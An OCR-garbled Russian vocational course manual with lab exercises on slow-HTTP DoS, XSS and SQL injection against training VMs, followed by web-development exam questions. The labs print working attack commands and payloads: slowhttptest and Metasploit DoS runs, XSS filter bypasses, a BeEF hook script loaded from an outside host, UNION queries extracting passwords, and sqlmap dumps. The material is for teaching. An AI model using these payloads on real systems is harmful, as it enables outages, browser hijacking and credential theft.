Opay3epa:
# slowhttptest -X -c 3000 -r 3000 -1 6000 -k 5 -n 50

—w 1 -y2-z1—uhttp://www.test.app.com/bigauth.js
[TpoBecTy HECKOJIBKO TECTOB € pa3inyHbIMU Napamerpamu. [loctpouts rpaduku coctosiuus BeO- cepBepa.
[ar 6. OcranoButh cepBep Apache. 3amyctuts cepep Nginx. [IpogenaTs npeablayine mari B OTHOIIEHUN

cepBepa Nginx.

[Mar 7. OcranoButh cepBep Nginx. 3amyctuts cepsep IIS. IlpoaenaTs mpenpiayiiyue maru B OTHOIICHUU
cepsepa IIS.

[Mar 8 B OTHOULIEHUU CepBepa Apache BBITIOTHUTH ~ aTaky Apache

Range Header.
[Ipoananu3upoBath pe3yabTaThl. BHIMOIHUTH KOMaHTY
# slowhttptest -R -u http://www.test.app.com -t GET
—¢ 1000 -a 10 -b 3000 -r 500
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Breimonauts atraky Apache Range Header ¢ nucnonszoBanuem Metasploit Framework: # msfconsole
> use auxiliary/dos/http/apache range dos
> show options
> set RHOSTS www.test.app.com
> set RPORT 80
> set RLIMIT 100
>set THREADS 3
> run
3aoanue Ne 2. llpoananu3upyiTe, Kak MOXHO IO KOCBEHHBIM IPU3HAKAM OMPEACIIUTh YSA3BUMOCTh
BeO-cepBepa k arakam tumna Slow HTTP DoS?
3aoanue Ne 3. PeanvzoBaTh MEXaHU3MBI 3alTUTHI JJ1s1 BeO-cepepa Apache ot atak Slow HTTP DoS.
3aoanue Ne 4. Peanu3oBath U IPOTECTUPOBATH BEO-TIPIIIOKEHUE, Ya3BUMOE K arake XML Bomb.

JlaGopaTropHas pabota 26. «Ilouck ysas3BumocTtei k atakam XSS.»
[enb: 00ydyeHre MeTo1aM U CpeCTBaM UIACHTU(PHUKAIIUN U SKCIUTyaTalluH YA3BUMOCTEH BEO- IPUIOKEHUH K
aTakaMm XSS.
XO/J PABOTHI:
3aganue Ne 1. BoImomHUTE HICHTU(DUKAIMIO U YKCIUTYaTaIUIO ySI3BUMOCTEH K arakam XSS.
Ilocneoosamenvuocmo Oelicmsuii
[Mar 1. Cxauath 00pa3 «Web For Pentesters» ¢ BeO-calita www.pentesterlab.com. Co3gath BUPTyalbHYIO
MalIMHy. 3arpy3uThes ¢ Tucka. B 6pay3epe OTKpbITh BEO-IIPUIIOKEHHUE.
[Mar 2. Ilepeiitu mo cceuike «XSS — Example 1». IlpoananusupoBarh JTOTUKY (QYHKIMOHHPOBAHUS
BeO-nipritokeHusi. OnpenenuTh KOHTEKCT BO3MOXKHOM aTaku XSS. B kadecTBe nmepeMeHHONW name BBECTH
BekTop <script>alert(1)</script>
[ar 3. Ilepeiitn mo cceuike «XSS — Example 2». [Ipoananu3upoBaTh JOTUKY (PYHKIIMOHUPOBAHHS
BeO-npritokeHuss. OnpeaeuTh KOHTEKCT BO3MOXKHOM aTakk XSS. B kadecTBe ImepeMEeHHOH name BBECTH
BEKTOD
<script>alert(1)</script>
Yo6enuthces, 4To CII0BO script punbTpyercs. BBectu BekTop
<ScRipT>alert(1)</sCrlpT>
[lar 4. Ilepeiitn mo cceuike «XSS — Example 3». [Ipoananu3upoBaTh JOTUKY (PYHKIIMOHUPOBAHHS
BeO-npritokeHuss. OnpeaenuTh KOHTEKCT BO3MOXKHOM aTakk XSS. B kadecTBe ImepeMEeHHOH name BBECTH
BEKTOD
<script>alert(1)</script>
Y6enuThcs, 4TO cI0BO <script™> BbIpe3aercs. BBectu BekTop
<scr<script>ipt>alert(1)</s</script>cript>
[ar 5. Ilepeiitn mo cceuike «XSS — Example 4». [Ipoananu3upoBaTh JOTUKY (PYHKIIMOHUPOBAHHS
BeO-nipritokeHusA. OnpeaeuTh KOHTEKCT BO3MOXKHOM aTakk XSS. B kadecTBe MmepeMEeHHOH name BBECTH
BEKTOD
<script>alert(1)</script>
Y6enuThcs, UTO CI0BO <Script™> BbIpe3aeTcs KOppeKTHO. BBecTu BekTop
<img/src=1 onerror=alert(1)>
[lar 6. Ilepeiitn mo cceuike «XSS — Example 5». [Ipoananu3upoBaTh JOTHUKY (PYHKIIMOHUPOBAHHS
BeO-nipritokeHusA. OnpeaenuTh KOHTEKCT BO3MOXKHOM aTtakk XSS. B kadecTBe MmepeMEeHHOH name BBECTH
BEKTOpa
<script>alert(1)</script>
<img/src=1 onerror=alert(1)>
Yo6enutbces, 9To cioBo alert BeipezaeTcs KOppekTHO. BBecTr BekTopa
<img/src=1 onerror=\u0061alert(1)>
<img/src=1 onerror=prompt(1)>
<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">
[Mar 7. Ilepeiitu mo cceuike «XSS — Example 6». IIpoananusupoBarh JOTUKY (QDYHKIMOHHPOBAHUS
BeO-nipritokeHusi. OnpenenuTh KOHTEKCT BO3MOXKHOM aTakk XSS. B kadecTBe nmepeMeHHOW name BBECTH
BEKTOpa
";alert(1);"
</script><script>alert(1);//
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[ar 8. Ilepeiitn mo cceuike «XSS — Example 7». [Ipoananu3upoBaTh JOTUKY (PYHKITMOHUPOBAHHS
BeO-npritokeHusA. OnpeaeuTh KOHTEKCT BO3MOXKHOM aTakk XSS. B kadecTBe ImepeMEeHHOH name BBECTH
BEKTOD
";alert(1);"
Yo6enutnces, uro cumBon " kogupyercs B HTML-cymHocTh &quot. B kauecTBe mepemMeHHOM name
BBecTH BekTop ;alert(1);'
[ar 9. Ilepeiitn mo cceuike «XSS — Example 8». [Ipoananu3upoBaTh JOTHKY (PYHKIIMOHUPOBAHHS
BeO-puiioxkeHusi. OnpeneauTh KOHTEKCT BO3MOXHOW artaku XSS. BBoauMble MaHHBIE KOAHPYIOTCS
koppekTHO. M3menuts URL Ha__ cienyromuid:
xss/example8.php/"onsubmit="alert(1)
[ar 10. Ilepeiitu o ccpuike «XSS — Example 9». IIpoananu3upoBaTh JIOTHKY (YHKIIMOHUPOBAHHS
BeO-prtoxkenwusi. OnpenenuTh KOHTEKCT U THIT BO3MOXHOU aTaku XSS. B Opay3epe nmepeitu mo cchuike
xss/example9.php#<script>alert(1)</script>.
Yo6enurscs, uro aukakoro HTTP-3ampoca He oTmpasisietcs.
[Iar 11. 3anycTtuth cpeny sxkcmtyatanuu yszpumocred BeEF. Ilepeiitu o ccpuike « XSS —
Example 1». B kauecTBe 3HaUeHHS MapamMeTpa name BBECTH BEKTOP
<script src="http://1.1.1.1:3000/hook.js"></script>
[Tepeiitu B koHCONML BEeEF, BBecTn crangaprasie noruH u napoisb (beef:beef). B pazaene «Online Browser»
JIOJDKEH oToOpakaThes Bamn Opaysep. Bo Bkianmke «Detailsy mpocmoTpers mHbopmaruio o Opaysepe u
koMmmbroTepe. [lepetitu Bo Bkinajky «Commandsy. BBIIOJIHHUTE
CIIeTyIOIIMe KOMaHbl U MPOaHATM3UPOBATh IMOJYYSHHbIE PE3yIbTAThI:

— «Create Alert Dialogy;

— «Redirect Browser», nepeHanpaBuB mosib30Batess Ha caiT http://evil.com;

— «Clickjackingy;

— «Clippy»;

— «Fake Notification Bary;

— «Google Phishingy;

— «Pretty Theft».
3amanue Ne 2. BbINOJHUTD 3a/1aHUS 110 IOUCKY YA3BUMOCTEH K aTakaM XSS Ha cailTe xss- game.appspot.com.
3aganue Ne 3. BoImomHUTE 3aJaHMsI 110 TIOUCKY YSA3BUMOCTEH K aTakaM XSS Ha caiite escape.alf.nu.
3ananune Ne 4. BeInmogHUTE 3a1aHMsI IO TTIOMCKY YSI3BUMOCTEH K aTakaM XSS Ha caiite prompt.ml.

JlaGopatopnas padora 27. «Ilouck ysa3zBumocrei Kk arakam SQL-injection.»

Lens: 0Oy4eHrne MeTo1aM M CPEICTBAM UACHTH(PUKAIIUHN U SKCILTyaTalliy YSI3BUMOCTEH B BEO- MPHIIOKECHUSIX
k arakam SQL-injection.
XO/J PABOTHI:
3apanune Ne 1. BoImoaHUTh HASHTU(UKAIINIO U SKCIUTyaTaIlMIo YA3BUMOCTEH Kk atrakam SQL-injection.
IlocnedosamenvHocms Oelicmauil
[ar 1. Cxauats 06pa3 «Web For Pentesters» ¢ BeO-cailita www.pentesterlab.com. Co3ate BUpTyanbHYIO
MalInHy. 3arpy3uThCs ¢ TUCKa. B Opay3epe OTKphITh BEO-IPUIIOKECHHE.
[Mar 2. TIlepeiitu mo cceuike «SQL injections — Example 1». Ilpoananu3upoBaTh JIOTHKY
GbyHKIIMOHUpOBaHUS BeO-TIpriioskeHus. [lociieqoBarensHO BBECTH CIIEIYIOIINE 3aIIPOCHI, 00palias BHUMaHHE
Ha BBIBOJI BEO-TIPUIIOKEHUS, CIICNIATh MPEAIOJIOKEHHE O CTPYKTYpe ucnoiab3dyemoro SQL- 3ampoca:

— sqli/examplel.php?name=root'

— sqli/examplel.php?name=root"

— sqli/examplel.php?name=root'%201=1

— sqli/examplel.php?name=root'%201=1#

— sqli/examplel.php?name=root'%201=1%20—

— sqli/examplel.php?name=root'%201=1%20/*

— sqli/examplel.php?name=root'%20'1'='1

— sqli/examplel.php?name=root'%20'1'="2

— sqli/examplel.php?name=root'%23sqli
[Mocnemuue Tpu 3anpoca Mo3BOJISIOT CAETIATh BHIBOJ 00 YS3BUMOCTH IapameTpa name k atake SQL- injection.
BhITIOSHUTE CIIEAYIONIYIO KOMAHTY:
# python sqlmap.py —p name —dmbs=mysql —dump
—u http://IP_address/sqli/examplel.php?name=root


http://www.pentesterlab.com/
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[TpocMoTpeTh pe3yabTaThl pabOThl MPOTrPAMMBI, IPOCMOTPETH MOJIyYE€HHbIE JaHHbIEC U3 0a3bl JaHHBIX.
[Mar 2. TIlepeéitu mo cchuike «SQL injections — Example 2». I[Ipoananu3upoBaTh JOTHUKY
byHKIIMOHUpOBaHUs BeO-TipriioxkeHus. [locienoBarensHO BBECTH CleyIOIINE 3aPOChl, 00palias BHUMaHKe
Ha BBIBOJ] BEO-TIPIIIOKEHUS, CIeTIaTh MPEATOIOKEHHE O CTPYKTYPE
ucnoas3zyemoro SQL-3anpoca:

— sqli/example2.php?name=root%20and%201=1

— sqli/example2.php?name=root'%09and%09'1'="1

— sqli/example2.php?name=root'%09and%09'1'="2

— sqli/example2.php?name=root'%2b%?2b'
[Tocnieqaue Tpu 3ampoca MO3BOJISIOT CIENATh BBIBO 00 ySI3BUMOCTH ITapaMeTpa name Kk arake SQL- injection.
3amycTuTh sqlmap, yoeauThesi, 4TO B JaHHOM CIIy4ae OH He CMOT MACHTU(DUIIMPOBATH YS3BUMBIN HapaMeTp.
[Mar 3. TIlepeéitu mo cchuike «SQL injections — Example 3». I[Ipoananu3upoBaTh JOTUKY
byHKIIMOHUpOBaHUs BeO-TipriioxkeHus. [locienoBarensHO BBECTH CleyIOIINE 3aPOChl, 00palias BHUMaHKe
Ha BBIBOJ] BEO-TIPIIIOKEHUS, CIeTIaTh MPEAMOIOKEHHE O CTPYKTYPE
ucnoas3zyemoro SQL-3anpoca:

— sqli/example3.php?name=root%20and%201=1

— sqli/example3.php?name=root'/**/and/**/'1'='1

— sqli/example3.php?name=root'/**/and/**/'1'="2

— sqli/example3.php?name=root'%2b%?2b'
[Tocneqaue Tpu 3ampoca MO3BOJISIOT CIENATh BBIBOA 00 ysI3BUMOCTH ITapaMeTpa name Kk arake SQL- injection.
3anmyctuth sqlmap, yOeauTbcs, 4TO B JAHHOM Cllydae OH HE CMOXKET HICHTHU(UIMPOBATH YSI3BUMBIN
napaMmerp.
[lar 4. TIlepeiitu mo cceuike «SQL injections — Example 4». Ilpoanaau3upoBaTh JIOTHKY
(byHKIIMOHUPOBaHUS BeO-TIprioskeHus. [lociieqoBarensHO BBECTH CIIECIYIOIINE 3aIIPOCHI, 00Opalias BHUMaHHE
Ha BBIBOJ] BEO-MIPUIIOKEHUS, CIeTIaTh MPEAMNOI0KEHHE O CTPYKTYpe
ucnoas3zyemoro SQL-3amnpoca:

— sqli/example4.php?id=2

— sqli/example4.php?id=2"

— sqli/example4.php?id=2"

— sqli/example4.php?id=1%2b1

— sqli/example4.php?i1d=0%2b2

— sqli/example4.php?id=3-1
[Tocnennue Tpu 3ampoca MO3BOJISIOT CAENAaTh BRIBOJ 00 ysa3BUMOCTH napameTpa id k atake SQL- injection.
BEhITIOSHUTE ClIEAYIONIYIO KOMaHTY:
# python sqlmap.py —p id —dmbs=mysql —dump
—u http://IP_address/sqli/example4.php?id=1
[IpocMoTpeTs ToNTy4eHHbIC JaHHbIE U3 0a3bl JaHHBIX. [I[pocMoTpeTh ncxoaubii ko PHP-cienapus.



Hlar 5. Ilepeiitu mo cceuike «SQL injections — Example 5». Ilpoananu3upoBath JOTHUKY
dbyHKIIMOHUpOBaHUS BeO-mpuiiokeHus. [locnenoBareabHO BBECTH CIEAYIOIIUE 3allpPOChl, oOparias
BHUMAaHNE Ha BBIBOJI BEO-TIPUIIOKEHUS, C/IEIATh MPEAIOI0KEHHE O CTPYKTYpe UCToIb3yeMoro SQL-
3ampoca:

— sqli/exampleS.php?id=2

— sqli/example5.php?id=2"

— sqli/example5.php?id=2"

— sqli/example5.php?id=1%2b1

— sqli/example5.php?id=0%2b2

— sqli/example5.php?id=3-1
[Toceqaue Tpu 3ampoca MO3BOJSIIOT CAeNaTh BBIBOJ 00 ysa3BHUMOCTH Hapamerpa id k arake SQL-
injection. BIMOTHUTE CIeAYIONIYI0 KOMAaHY:
# python sqlmap.py —p id —dmbs=mysql —dump
—u http://IP_address/sqli/example5.php?id=1
[IpocmoTpeTs nomy4eHHbIe JaHHbIe U3 0a3bl JaHHBIX. [I[pocMoTpeTh ncxoansiii koa PHP-cuenapusi.
[ar 6. Ilepeiitn mo cceuike «SQL injections — Example 5». Ilpoananu3upoBaTh JOTHKY
¢yHKIMOHMpOBaHUS BeO-npriiokeHus. [locienoBaTenbHO BBECTH CIEAYIONINE 3apOChl, oOparas
BHHUMAaHUE Ha BBIBOJ] BEO-MPUIIOKEHUS, CACNATh MPEANOIOKEHHE O CTPYKTYpe Ucronb3dyemoro SQL-
3ampoca:

— sqli/example6.php?id=2

— sqli/example6.php?id=2'

— sqli/example6.php?id=2"

— sqli/example6.php?id=1%2b1

— sqli/example6.php?id=0%2b2

— sqli/example6.php?id=3-1

— sqli/example6.php?id=5-3
[Mocnennue Tpu 3ampoca MO3BOJSIOT CHIENATh BHIBOJ 00 ys3BMMOCTH mapamertpa id k arake SQL-
injection. 3amycTuth sqlmap, yoeaAuTbCS, YTO B JAHHOM CIy4Yae OH HE MOXKET MPOIKCILTYyaTUPOBATh
ys3BUMBIN napametp. [IpocmoTpeTs ncxoansiit kog PHP-cuenapus.
[ar 7. Ilepeiitn mo cceuike «SQL injections — Example 5». Ilpoananu3upoBaTh JOTHKY
byHKIMOHUPOBaHUS BeO-npriiokeHus. [locineqoBaTenbHO BBECTH CIEAYIONINE 3apOoChl, oOparas
BHHUMAaHUE Ha BBIBOJ] BEO-MPUIIOKEHUS, CACTATh MPEANOIOKEHHE O CTPYKTYpe Uctonb3dyeMoro SQL-
3ampoca:

— sqli/example7.php?id=2

— sqli/example7.php?id=2'

— sqli/example7.php?id=2"

— sqli/example7.php?id=1%2b1

— sqli/example7.php?id=3-1

— sqli/example7.php?id=2%0Aand%201=1

— sqli/example7.php?id=2%0Aand%201=2

— sqli/example7.php?id=2%0A%23sqli
[Tocneanue Tpu 3ampoca MO3BOJIAIOT clieiaTh BBIBOJ 00 ys3BUMOCTH mapameTpa id k atake SQL-
injection. 3amycTuTh sqlmap, yoeauTbes, 4TO B JAHHOM CITydae OH HE MOXKET MPOIKCILTYyaTHPOBAThH
YSA3BUMBIN napamMeTp. BBINMOTHUTS ClienyIoNMe 3anpochl i u3BiedeHus nanubix u3 CYB/I:

- sqli/example7.php?id=2%0Aunion%?20select%201

— sqli/example7.php?1d=2%0Aunion%?20select%201,2

— sqli/example7.php?id=2%0Aunion%?20select%201,2,3

— sqli/example7.php?id=2%0Aunion%?20select%201,2,3,4

— sqli/example7.php?id=2%0Aunion%?20select%201,2,3,4,5

— sqli/example7.php?1d=2%0Aunion%?20select%20name,passwd,1,1,1 from users
Py4HBIMU METOIaMU MMOTYYHUTh JaHHBIC U3 0a3bl JaHHBIX. [IpocMoTpeTh ncxoaubiii ko PHP-
ClLEHapus.
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3aganue Ne 3. [ToctpouTts 1 BeimonHuTh SQL-3anpoc, mpuBoAALIN K 0TKa3y B 00CITy>KUBaHUU BEO-
NPUIIOKEHUs, YA3BUMOro k arake SQL-injection.

3apnanmne Ne 4. J[ns BeO-nipmitoxeHus, ysa3BuMoro k atake SQL-injection u UCMONB3YIOMIEro AJIs
xpanenuss ganHbix CYBJI MySQL, mnomyunts coaepkumoe cCiykeOHOM 0a3bl JTaHHBIX
INFORMATION SCHEMA.

Hnousuoyanvnvle 3a0anus K YYeOHOU U NPOU3BOOCMBEHHOU NPAKMUKAM NPeoCmAasieHbl 6
nPOCPAMMAx NPaKmux.

2.2. 3apanus AJ1s1 IPOMEKYTOUHON aTTecTAlum

M/K.03.01 ITpoexTpoBanue u pa3padoTKka Bed NPUJI0KeHUI
Bonpocul k oupgpepenyuposannomy 3auemy

1. OcHOBHI s13bIKa pa3MeTKu html

2. OCHOBHBIE CBE/ICHHS

3. CrpykTtypa html-moxymenra

4. CocraB html-moxymenTa

5. Document type definition (dtd)

6. 3aroyioBOK JTOKyMEHTa

7. Teno nokyMeHTa

8. Jlpyrue ameMeHTHI si3b1ka html

9. TaOmuupl CTUIIEH CSS

10. ba3oBsIii cuHTaKcuc

11. Cenektopsl TEroB

12. Knaccor

13. NnenTuduxaTopsl

14. KOHTEKCTHBIE CEIEKTOPbI

15. Cocemgnue cenekTopbl

16. JlouepHue ceneKTOPHI

17. CenekTopsl aTpuOyTOB

18. YHuBepcaibHBIN CEIEKTOP

19. I'pynnupoBaHue

20. HacnenoBanue

21. IlceBmoxiacchl

22. IlceBnokiiacchl, ONMPEICIISIIONINE COCTOSIHUE 3JIEMEHTOB

23. TlceBaokiacchl, UMEIOIINE OTHOLICHHE K IEPEBY JOKYMEHTA

24. IlceBno3MeMEHTHI

25. DIIeMEeHTHI CSS

26. Ormmucanwue .net framework

27. Bo3moxkHOCTH cpejbl clr

28. bubnmoteka kimaccoB miatdopmsl .net framework

29. PaszBurtue miatdopmsr .net

30. KiroueBble TEpMUHBI

31. O0630p TexHOJOTHH asp.net

32. XXu3HeHHBIH UK BEO-CTpaHUIL asp.net

33. OO0mue 3Tarnpl )KU3HEHHOTO IUKJIa CTPAHUIIBI

34. CoObITHSI )KU3HEHHOTO ITHKJIa

35. JlonoaHUTENbHBIE aCTIEKThI )KU3HEHHOTO ITHKJIa CTPAHUIIBI

36. YmpaBieHue COCTOSIHUEM B asp.net

37. CocrosiHue TPpOCMOTpa viewstate

38. CoxpaHeHue 00BEKTOB B COCTOSIHUM ITPOCMOTpa

39. OueHuBaHME MPEUMYIIECTB UCIIOJIB30BAHUS COCTOSHUS TPOCMOTpA



40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.

52.
53.
54.
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Crpoxka 3amnpoca

Hcnonb3oBanue CTPOKHU 3ampoca

Cookie

Hcnonp3oBanue session

ApXUTEKTypa ceaHca

Hcnoap30BaHue COCTOSHUS ceaHca

ITocTaBIIMKM COCTOSIHHS CceaHca

Tumnosas cTpyKTypa web- mpHuiI0KeHHI

OcuoBrl Texnonorud ASP .NET

[IpuHIIMI CTPYKTYpPUPOBAHUS TEKCTA JOKYMEHTA.

OcHOBHbIE CBOMCTBA TEKCTOBBIX (parMeHTOB Web-CTpaHHIIbI

Bce aneMeHThI yripaBiieHus, U3 KOTOpbIX coctouT WEB-nipritoxenue 100aBistoTcs B
KOHTEWHEP, pOJIb KOTOPOTO BHITIOJIHAET CTpaHuIa MprioxeHus. CTpaHuila OTBEYaeT 3a
rerepanuto HTML koja, nepegaBaeMoro B MOCHEACTBUU KIUEHTY.

Cnoco6s1 popmupoBanus Tekcta. CIIUCKH.

CriocoObl 3a/1aHMsI TUTIEPCCHUIOK.

CnocoObl TUHAMUYECKOTO CO3AaHUS SJIEMEHTOB YIIPaBICHHUS.

Bonpocel u 3a0anusa 01a noozomoexku K IK3ameny
Coenunenne XHTML u PHP.

PHP. BriBong xoHTEHTA.

KommenTapuu B koze.

PHP. CxanspHble nepeMeHHBIE.

PHP. BeiBox nnepeMeHHBIX.

PHP. Coenunenue nepemMeHHbIX.

ITognepxka uarepnossituu B PHP.
®dopmatupoBanue BbiBoja B PHP.

PHP. IlepemeHHBIE MacCHUBBI.

. PHP. MaccuBbI ¢ YUCIIOBREIMA MHIIEKCAMU.
. PHP. AcconmaTiBHBIE MAaCCHUBEI.

. PHP. ®ynknum niis paboThl ¢ MacCHBaMH.
. Koncranter PHP.

. Apudpmernueckue onepatopsl PHP.

Oneparops! npucBauBanus PHP. Oneparopsl cpaBHEHUS.

. Jlornueckue oneparopsl PHP.

. Ilopsinok BeimonHenus onepanuii B PHP.
. Ctpoxu PHP.

. @ynkuunu natel 1 BpeMenu PHP.
. PHP. Omneparop If.

. PHP. Omneparop switch.

. PHP. Huxaer while.

. PHP. Huxnet do while.

. PHP. Huxan for.

. PHP. Iuxn foreach.

. PHP. Bxitouaembie haisl.

. PHP. Ucnonb3oBanue QpyHKIHIA.
. PHP. IIpoextupoBanue dhopm.

. PHP. Pab6ora ¢ popmamm.

. PHP. Ilepemennsie ceanca.

. @aiiner Cookies.

. PHP. Joctyn ODBC.
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33. Br16op 3amuceit u3 6a3bl TaHHBIX.

34. PHP. docrtym k 6aze nanubix MySQL.

35. PHP. [Joctyn k ¢aitnaM u nankam.

36. PHP. [Tonyuyenue qanHbIX GOPMBIL.

37. Ornpaska E-mail u3 npunoxennii PHP.

38. PHP. Ucnonb3oBanue ¢aiinos INCLUDE.

39. PHP. Ucnonb3oBanue Tabaul CTUIIEH.

40. Teru XHTML co cuenapuem.

41. PHP. IIporpammupoBaHu€e MOUCKA MO KIIFOUEBHIM CIIOBAM.
42. PHP. I'eneparus cinyyallHbIX YUCEL.

43. PHP. Unentudukarop (ID) ceanca.

44. PHP. Co3nanue cueTurka noceTuresei.

45. Cuntakcuc s3bika JavaScript.

46. Ilepemennsie u nutepaisl B JavaScript.

47. Ymupapisionye KOHCTPYKIIUU s3bIKa JavaScript.

48. CranpapTtHble 00BeKTHI U (GyHKIUU siapa JavaScript.
49. OO6bekTh KIHEHTa JavaScript.

50. O6paboTtka cobbiTHil JavaScript.

MAK.03.02 OnTumMu3zanusi BeO-npuJio:KeHH i

Bonpocel ona noozomoeku k KOHmpobHOU padbome
3ananmne 1
Bapuant Ne 1

CocraBpTe TEXHMYECKOE 3aJlaHME Ha pa3padOTKy BEO-TIPHIIOKEHUS I 3aJaHHOU
npeaMeTHou obnactu. Pa3zpaboraiite caiiT, cocTosmmuii u3 3-4 crpanuil. Bce cTpaHuIlbl TOJKHBI
MMETh OJIMHAKOBBIN au3aiiH. Co3maiiTe php-CKpUNIT, BRIBOSIINN CTPAHUILy ¢ (POPMATUPOBAHHOM
cpenctBamu pasmerkn HTML unbopMmanueit o Bac kak o paspabortuuke. I[IpuBenure si3biku
MpPOTPaMMHUPOBAHUSI W Pa3METKH, WCIOIb3yeMble IS pa3pabOTKU KIMEHTCKOHW YacTh
BEO-TPUITOKECHHIA.
Bapuant Ne 2

CocTaBpTe TEXHHUYECKOE 3aJlaHHE Ha pa3pabOTKy BeO-MPUIOKEHHS s 3aJaHHOU
npeaMeTHoi obnactu. Paspabortaiite caiit, cocrosiuuii u3 3-4 CTpaHWIl, B COOTBETCTBUM C
TEXHUYECKUM 3aJaHueM. Bce cTpaHuubl AOMKHBI MMETh OJIMHAKOBBIM nu3aiiH. Cosznaiite
php-ckpunt, renepupyromuii crpanuily ¢ Tabnuuei ocHoBHbIX 11BeToB HTML. Kak oprannzoBans!
LUUKJIMYECKHE BBIUMCIUTENbHBIE ITpoliecchl B PHP?
Bapuant Ne 3

CocTtaBpTe TEXHUYECKOE 3aJlaHHE Ha pa3pabOTKy BeO-MPUIOKEHHS s 3aJaHHOU
npeaMeTHoi obmactu. Paspabortaiite caiit, cocrosiuuii u3 3-4 CTpaHWIl, B COOTBETCTBUM C
TEXHUYECKUM 3aJaHueM. Bce cTpaHulbl JOKHBI MMETh OAMHAKOBBIM au3aiiH. [loaroroBbre
php-CKpHUNT, BBIMOJHSAIOWUN CcleAyIoue AeUcTBUs: co3aarh html-nokymeHT, copepxaiiui
dopmy ¢ nomsimu O.N.0., Anpec, E-mail, [Tapons. [lepenats BBeieHHBIC JaHHBIC I 00paOOTKH
php-niporpamme 7151 BBIBOJA JaHHBIX Ha dkpaH. Kak opranuzoBath paboTy ¢ ¢popMaMu B SI3bIKE
PHP?
Bapuaunt Ne 4

CocTaBpTe TEXHHUYECKOE 3aJlaHHE Ha pa3pabOTKy BeO-MPUIOKEHHS s 3aJaHHOU
npeaMeTHoi obmactu. Paspabortaiite caiit, cocrosuuii u3 3-4 CTpaHWIl, B COOTBETCTBUM C
TEXHUYECKUM 3aJaHueM. Bce cTpaHulbl JOKHBI MMETh OAMHAKOBBIM Au3aiiH. [loaroroBbre
php-ckpunt, npoBepsrOmUNA Mapoiib IO0Jb30BaTeNs, BBOAUMBIA uepe3 mnose ¢opmel. Kak
opranu3oBath paboty ¢ hopmamu B si3pike PHP?

Bapuant Ne §



63

CocTaBpTe TEXHHYECKOE 3aJaHHE Ha pa3pabOTKy BeO-NPUWIOKEHHSI s 3aJaHHOU
npeaMeTHo obiactu. Pa3paboralite caiit, cocrosuuii u3 3-4 CTpaHMI, B COOTBETCTBUH C
TEeXHUYECKUM 3aJlanueM. Bce cTpaHuIbl OKHBI MMETh OJMHAKOBBIM au3aiiH. I[loaroroBbre
php-CKpUIT I OTHpPaBKK DSJEKTPOHHOTO mHchbMa. KakoBa mporenypa WASHTU(DUKAIUS
noJip3oBareneit u npoueccos B PHP?

Bapuant Ne 6

CocTtaBpTe TEXHHYECKOE 3aJaHHE Ha pa3pabOTKy BeO-NPUWIIOKEHUS] I 3alaHHOU
npeaMeTHo obiactu. Pa3paboralite caiit, cocrosiuii u3 3-4 CTpaHMI, B COOTBETCTBUH C
TEXHUYECKUM 3aJlanrueM. Bce cTpaHuIbl OKHBI MMETh OJMHAKOBBIM au3aiiH. I[loaroroBbre
php-ckpuIT, peanu3yronmi BBOI U 00pabOTKY aHKEThI Mojb3oBarels. [lepedncinnure OCHOBHBIC
KOHCTpyKuuu si3pika PHP.

Bapuant Ne 7

CocTaBpTe TEXHHYECKOE 3aJaHHE Ha pa3pabOTKy BeO-NPUWIIOKEHUS] I 3aJaHHOU
npeaMeTHo obsiactu. Paspaboralite caiit, cocrosiuii u3 3-4 CTpaHMI, B COOTBETCTBUH C
TEeXHUYECKUM 3aJlaHrueM. Bce cTpaHMIbl OKHBI MMETh OJMHAKOBBIM au3aiiH. I[loaroroBbre
php-CKpuIT UIsI MPOBEACHUS ONpOca — TOJOCOBAHMS IO OIEHKE KAaKOro-TO ToBapa WIIU
meponpusatusi. Kak oprannzoBan ¢(haioBsiii BBOA-BBIBO/I B si3bike PHP?

Bapuant Ne 8

CocTaBpTe TEXHHYECKOE 3aJaHHE Ha pa3pabOTKy BeO-NPUIIOKEHUS] s 3aJaHHOU
npeaMeTHo obiactu. Paspaboralite caiit, cocrosuuii u3 3-4 CTpaHMI, B COOTBETCTBUH C
TEXHUYECKUM 3aJlanrueM. Bce cTpaHuIbl OKHBI MMETh OJMHAKOBBIM au3aiiH. I[loaroroBbre
php-CKpUIT a1 TPOBEPKH JTOCTYITHOCTH CEpBEpa, aJpec KOTOPOTO BBEIEH IOJb30BATCIICM.
[IpuBenuTe A3BIKM MPOTPAMMHPOBAHUS U PA3METKH, HCTIOIb3YEeMbIe JJI Pa3padOTKu CEpBEPHOMU
YaCTH BEO-TIPUIIOKCHUM.

Bapuant Ne 9

CocraBbTe TEXHMYECKOE 3aJlaHMEC Ha pa3padOTKy BeO-NIPHIIOKCHUS I 3aJaHHOM
npeaMeTHoi obmactu. Paspabortaiite caiit, cocrosiuuii u3 3-4 CTpaHWIl, B COOTBETCTBUM C
TEeXHUYECKUM 3aJlanrueM. Bce cTpaHuilbl JOKHBI MMETh OJIMHAKOBBIM au3aiiH. IloaroroBbTe
php-cKpunT ISt MOy4eHUs U OTOOpaxkeHUs] MHPOPMAIUH, MTOJIyYEHHOH ¢ yAaJeHHOro cepBepa
(HanmpuMep, MPOTHO3a TOTrojbl, JCHTHI 3arojOBKOB HOBOcCTel). IlosicHUTE MeXaHHW3M CEeCCHUH,
peanuzoBanHbiii B PHP.

Bapuant Ne 10

CocTaBpTe TEXHHYECKOE 3aJaHHE Ha pa3pabOTKy BeO-NPUWIIOKEHUSI s 3aJaHHOU
npeaMeTHo obiactu. Paspaboralite caiit, cocrosmuii u3 3-4 CTpaHMI, B COOTBETCTBUH C
TEXHUYECKUM 3aJlaniueM. Bce cTpaHuIbl OKHBI MMETh OJMHAKOBBIM au3aiiH. IloaroroBbre
Php-CKpHUIIT 1711 COXpaHEHMS TIEPCOHAIBHBIX HACTPOCK IMosIb30oBaTes (HUK U (poH crpanuir). Kak
OpraHu30BaTh padoTy ¢ (aitamu B si3pike PHP?

Bapuant Ne 11 CocraBbTe TEXHUYECKOE 3aJIaHHE HA Pa3paOdOTKy BEO-TIPUIIOKEHUS IS 3aJaHHOMN
npeaMeTHo oOmactu. Pazpaboraiite cailT, coctosmuii u3 3-4 CTpaHUIl, B COOTBETCTBUU C

TEXHUYECKUM 3ajaHueM. Bce CTpaHUIbl JOJIKHBI HMCTb OIWHAKOBBIM au3aiiH. IloaroroBrTe

php-cKpunT ass 3aIOMUHAHUS TOTO, KAKUE CTPAHULIBI TOCEIATNCH T0JIb30BaTENIEM. 3a4eM HY KHBI
cookies-aiinbr?

